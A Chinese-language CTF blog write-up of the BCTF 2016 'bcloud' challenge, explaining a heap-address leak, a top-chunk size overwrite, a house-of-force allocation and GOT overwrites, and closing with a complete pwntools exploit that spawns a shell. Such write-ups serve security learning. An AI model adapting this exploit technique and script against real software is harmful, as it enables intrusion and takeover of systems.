前言
这是 bctf 2016
的题,链接
1
| https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200
|
相关资源
1
| https://gitee.com/hac425/blog_data/tree/master/bcloud
|
正文
首先程序开启的保护
1 2 3 4 5 6 7
| haclh@ubuntu:~/workplace/bcloud$ checksec bcloud [*] '/home/haclh/workplace/bcloud/bcloud' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE
|
Partial RELRO
可以改 got
在 init_some
里面藏着两个非常隐蔽的漏洞。进去看看,首先调用 get_username
获取一个 name
首先使用 read_to_buf
获取 name
, 最大大小为 0x40
, 然后 malloc
一块内存用于存放 name
,
如果我们输入 0x40
个字符, 那么 name[0x41] = \x00
, 回到 get_username
,我们发现 name
和 ptr
是相邻的
1 2
| char name; // [esp+1Ch] [ebp-5Ch] char *ptr; // [esp+5Ch] [ebp-1Ch]
|
那么 name[0x41]
其实就是 ptr
最低字节(小端模式下), 在 read_to_buf
之后才通过 malloc
把分配的指针存在了 ptr
, 所以 ptr
会覆盖掉 read_to_buf
中为字符串设置的 \x00
终结符(name[0x41] = \x00
), 接着又用了
来拷贝字符串,这就会把 ptr
的值也拷贝进 ptr
指向的堆内存(溢出)。拷贝完后,紧接着会调用 printf
打印 ptr
所指向的字符串,我们就可以泄露 堆地址
调试验证一下, 输入 0x40
个 a
, 然后在调用 strcpy
处下个断点。
可以看到, name
字符串的终结符 \x00
已经被 新分配的内存地址 0x0804c008
给吃掉了,调用 strcpy
就会把 ptr
的值一起拷贝进 新分配的内存 0x0804c008
, 接下来的 printf
就会打印出这个地址,这样就能拿到 堆地址 了。
回到 init_some
函数,接下来会调用 set_host_org
和 get_username
一样的漏洞
1 2 3 4
| char org_; // [esp+1Ch] [ebp-9Ch] char *org_ptr; // [esp+5Ch] [ebp-5Ch] int host_; // [esp+60h] [ebp-58h] char *host_ptr; // [esp+A4h] [ebp-14h]
|
首先分配读入 org_
和 host_
,然后分配 host_ptr
和 org_ptr
, 其中 org_
和 org_ptr
是相邻的 ,而 org_ptr
和 host_
是相邻的,所以当输入 0x40
字节的 org_
然后 到了最后的
就会 把 org_
, org_ptr
和 host_
一起拷贝到 org_ptr
所指向的内存.
由于 org_ptr
是后面 malloc
的,所以 org_ptr
和 top chunk
相邻,于是我们就可以溢出 top chunk
, org_ptr
的值会在 top chunk
的 pre_size
为, 而 top chunk
的 size
位则为 host_
的开始 4 个字节。所以我们现在可以任意修改 top chunk
的 size
位。
然后在 new_note
里面,我们可以控制分配的大小,而且我们可以 分配最多 10
个 note
所以我们现在的能力
1 2 3
| 可以修改top chunk的 size 可以控制 malloc 的参数 可以malloc的次数 >= 2
|
house of force
搞起来,通过 house of force
我们可以 malloc
到任意地址。
先覆盖 top chunk
的 size
为 0xffffffff
, 然后使用计算公式 ( 32 位)
1
| evil_size = target_addr - 2 * 0x4 - top_chunk_addr
|
然后在
1 2
| malloc(evil_size) ptr = malloc(size)
|
那么 ptr
就是 target_addr + 2 * 0x4
了( pre_size + size = 2 * 4
)。
再配合程序的 edit_note
就可以实现 任意地址写。
任意地址写的实现如下
首先使用 house of force
, 使得 note1
指向 note_ptr_table
接着操作 note1
, 就是编辑 note_ptr_table
。同时每次对 note_ptr_table
的操作都要记得 note_ptr_table[1] = note_ptr_table
, 这样可以维持编辑 note_ptr_table
的能力,同时在后面可以重用这部分代码来 进行 内存 写。
由于 note0
的 size=evil_size
,其实这是个负数,测试时对 note0
进行 edit
有一两个字节写不进去,于是,多分配一个 note2
, 用它来作为 任意地址写 的载体。
任意地址写的代码片段如下,(懒的抽出来重写一个函数了
为了 getshell
, 还差一个 libc
的地址,然而程序里面没有提供 输出的功能,我们可以把 free@got
改成 puts@plt
, 之后调用 free(ptr)
就是 puts(ptr)
, 而 ptr
使我们可控的
于是任意地址读实现。
整理一下利用过程
get_name
处利用漏洞,拿到 heap
的地址,计算 top chunk
的地址
house of force
分配到 note_ptr_table
的地址
- 利用
edit
功能实现任意地址写
- 把
free@got
改成 puts@plt
,实现任意地址读
- 读
puts@got
拿到 libc
的基地址
- 修改
aoti@got
为 system
- 发送
sh
, 触发 aoti("sh")
, 实际执行的是 system("sh")
参考
http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html
最后的 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
| #/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # context.terminal = ['tmux', 'splitw', '-h'] context(log_level='debug') p = process("./bcloud") gdb.attach(p,''' bp 0x08048829 c ''') pause() p.recvuntil("Input your name:") p.send("a" * 0x40) p.recv(0x44) p.recv(0x44) heap = u32(p.recv(4)) - 0x8 top_chunk_addr = heap + 216 log.info("got heap: " + hex(heap)) log.info("got top_chunk_addr: " + hex(top_chunk_addr)) pause() p.recvuntil("Org:") p.send("b" * 0x40) payload = p32(0xffffffff) # top chunk 的 size 位 payload += "c" * (0x40 - len(payload)) p.recvuntil("Host:") p.send(payload) bss_addr = 0x0804B120 # note_ptr_table 的地址 evil_size = bss_addr - 8 - top_chunk_addr -8 # 计算一个size , 用于在第二次 malloc 是返回 bss_addr log.info("evil_size: " + hex(evil_size)) log.info("set top chunk size: 0xffffffff") pause() p.recvuntil("option--->>") p.sendline("1") p.recvuntil("note content:") p.sendline(str(evil_size - 4)) # malloc(len + 4), note0 p.recvuntil("Input the content:") p.sendline("a" * 4) p.recvuntil("option--->>") p.sendline("1") p.recvuntil("note content:") p.sendline(str(0x40)) # 此时分配到 note1, note1 ---> bss_addr p.recvuntil("Input the content:") free_got = 0x0804B014 puts_plt = 0x08048520 puts_got = 0x0804B024 payload = p32(free_got) payload += p32(bss_addr) # 为了维持控制,使得 note_ptr_table[1] 的值始终为 note_ptr_table 的地址 p.sendline(payload) ## note 2 p.recvuntil("option--->>") p.sendline("1") p.recvuntil("note content:") p.sendline(str(0x40)) p.recvuntil("Input the content:") p.sendline("a" * 4) log.info("note0--->free@got , note1--->ptr_table") pause() p.recvuntil("option--->>") p.sendline("3") p.recvuntil("Input the id:") p.sendline(str(1)) p.recvuntil("Input the new content:") payload = p32(free_got) payload += p32(bss_addr) payload += p32(free_got) # target addr , 要写的地址 payload += p32(puts_got) p.sendline(payload) p.recvuntil("option--->>") p.sendline("3") p.recvuntil("Input the id:") p.sendline(str(2)) p.recvuntil("Input the new content:") p.sendline(p32(puts_plt)) # data to write,要写的数据 log.info("free@got ---> puts_plt") pause() p.recvuntil("option--->>") p.sendline("4") p.recvuntil("Input the id:") p.sendline(str(3)) libc = u32(p.recvuntil("Delete success.")[1:5]) - 0x5fca0 system = libc + 0x3ada0 log.info("libc: " + hex(libc)) log.info("system: " + hex(system)) pause() p.recvuntil("option--->>") p.sendline("3") p.recvuntil("Input the id:") p.sendline(str(1)) p.recvuntil("Input the new content:") aoti_got = 0x0804B03C payload = p32(free_got) payload += p32(bss_addr) payload += p32(aoti_got) p.sendline(payload) p.recvuntil("option--->>") p.sendline("3") p.recvuntil("Input the id:") p.sendline(str(2)) p.recvuntil("Input the new content:") p.sendline(p32(system)) log.info("aoti--->system") pause() p.sendline("sh") p.interactive()
|
本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2018/03/21/tack_top_chunk_bcloud.html